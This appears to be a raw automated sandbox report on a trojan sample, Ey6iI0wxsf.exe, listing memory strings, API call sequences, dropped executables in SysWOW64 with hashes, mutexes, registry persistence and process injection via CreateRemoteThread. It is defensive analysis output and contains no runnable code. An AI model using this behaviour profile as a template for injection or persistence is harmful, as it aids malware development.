Source: explorer.exe, 00000005.00000002.3713320347.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
Source: explorer.exe, 00000005.00000002.3717223576.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1247437767.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1c9Jin.img
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
Source: explorer.exe, 00000005.00000002.3717223576.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1247437767.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000005.00000002.3717223576.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1247437767.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000000.1244328769.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3713855576.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2271352350.00000000090F2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/
Source: explorer.exe, 00000005.00000002.3717223576.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1247437767.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000005.00000002.3709701252.00000000071B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.pollensense.com/

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_004035B5 GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,	0_2_004035B5
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_00404933 GetSystemDirectoryA,lstrcat,lstrcat,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlen,lstrcpy,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpy,lstrcpy,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,RtlAdjustPrivilege,NtShutdownSystem,ExitWindowsEx,RegCloseKey,	0_2_00404933
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_0040318D CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrlen,OpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,CreateRemoteThread,CloseHandle,CloseHandle,VirtualAlloc,lstrcpy,Process32Next,CloseHandle,	0_2_0040318D

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_00404933 GetSystemDirectoryA,lstrcat,lstrcat,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlen,lstrcpy,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpy,lstrcpy,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,RtlAdjustPrivilege,NtShutdownSystem,ExitWindowsEx,RegCloseKey,		0_2_00404933
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Code function: 2_2_00404933 GetSystemDirectoryA,lstrcat,lstrcat,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlen,lstrcpy,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpy,lstrcpy,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,ExitWindowsEx,RegCloseKey,		2_2_00404933

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	File created: C:\Windows\SysWOW64\onbeateax-oded.exe	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	File created: C:\Windows\SysWOW64\orfoakup.exe	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	File created: C:\Windows\SysWOW64\egfehex.exe	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	File created: C:\Windows\SysWOW64\eapdotet.dll	Jump to behavior

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_004035B5	0_2_004035B5
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_0040BA4B	0_2_0040BA4B
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_00404933	0_2_00404933
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Code function: 2_2_00404933	2_2_00404933
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Code function: 2_2_004035B5	2_2_004035B5

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\unruhix-udex.dll 37E4F396388F943ED7E586828F159845DC13DABAB8DA6145D56548CE74EDD2A2
Source: Joe Sandbox View	Dropped File: C:\Windows\SysWOW64\eapdotet.dll FA8F77B6DAF775D66DE9D27C1D896168A792057358E518C00E72B8964B966CA5

Source: Ey6iI0wxsf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.troj.evad.winEXE@5/6@1187/3

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

Code function: 0_2_00403478 GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,Process32Next,CloseHandle,WaitForSingleObject,CloseHandle,GetStartupInfoA,OpenProcess,CreateProcessA,ExitProcess,

0_2_00403478

Source: C:\Windows\SysWOW64\onbeateax-oded.exe

File created: C:\Users\user\AppData\Roaming\tmpE8BD.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\{0C8E6D89-EA51-848A-7775-6C2CC072CA88}
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0A
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0B
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0C
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0D
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0E
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0F
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1A59D3E9-9D17-EB65-EA3F-071C953972C0}
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-10
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-11
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-01
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-12
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-02
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-03
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-04
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-05
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-06
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-07
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-08
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-09

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Ey6iI0wxsf.exe	ReversingLabs: Detection: 86%
Source: Ey6iI0wxsf.exe	Virustotal: Detection: 89%

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

File read: C:\Users\user\Desktop\Ey6iI0wxsf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Ey6iI0wxsf.exe "C:\Users\user\Desktop\Ey6iI0wxsf.exe"
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Process created: C:\Windows\SysWOW64\onbeateax-oded.exe "C:\Windows\system32\onbeateax-oded.exe"
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Process created: C:\Windows\SysWOW64\onbeateax-oded.exe --k33p
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Process created: C:\Windows\SysWOW64\onbeateax-oded.exe "C:\Windows\system32\onbeateax-oded.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Process created: C:\Windows\SysWOW64\onbeateax-oded.exe --k33p	Jump to behavior

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wscinterop.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wscapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: werconcpl.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: hcproviders.dll	Jump to behavior

Source: C:\Windows\SysWOW64\onbeateax-oded.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

Code function: 0_2_004035B5 GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,

0_2_004035B5

Source: orfoakup.exe.1.dr	Static PE information: real checksum: 0x80e8 should be: 0x2321f
Source: egfehex.exe.1.dr	Static PE information: real checksum: 0x4739 should be: 0x21867
Source: Ey6iI0wxsf.exe	Static PE information: real checksum: 0x0 should be: 0x171ba
Source: onbeateax-oded.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x171ba

Source: Ey6iI0wxsf.exe	Static PE information: section name: UPX2
Source: Ey6iI0wxsf.exe	Static PE information: section name: .imports
Source: onbeateax-oded.exe.0.dr	Static PE information: section name: UPX2
Source: onbeateax-oded.exe.0.dr	Static PE information: section name: .imports

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_00409940 push ecx; mov dword ptr [esp], eax		0_2_00409942
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_0040C1A0 push 1000458Dh; retf		0_2_0040C1CC

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\onbeateax-oded.exe

Executable created and started: C:\Windows\SysWOW64\onbeateax-oded.exe

Jump to behavior

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	File created: C:\Windows\SysWOW64\onbeateax-oded.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	File created: C:\Windows\SysWOW64\eapdotet.dll	Jump to dropped file
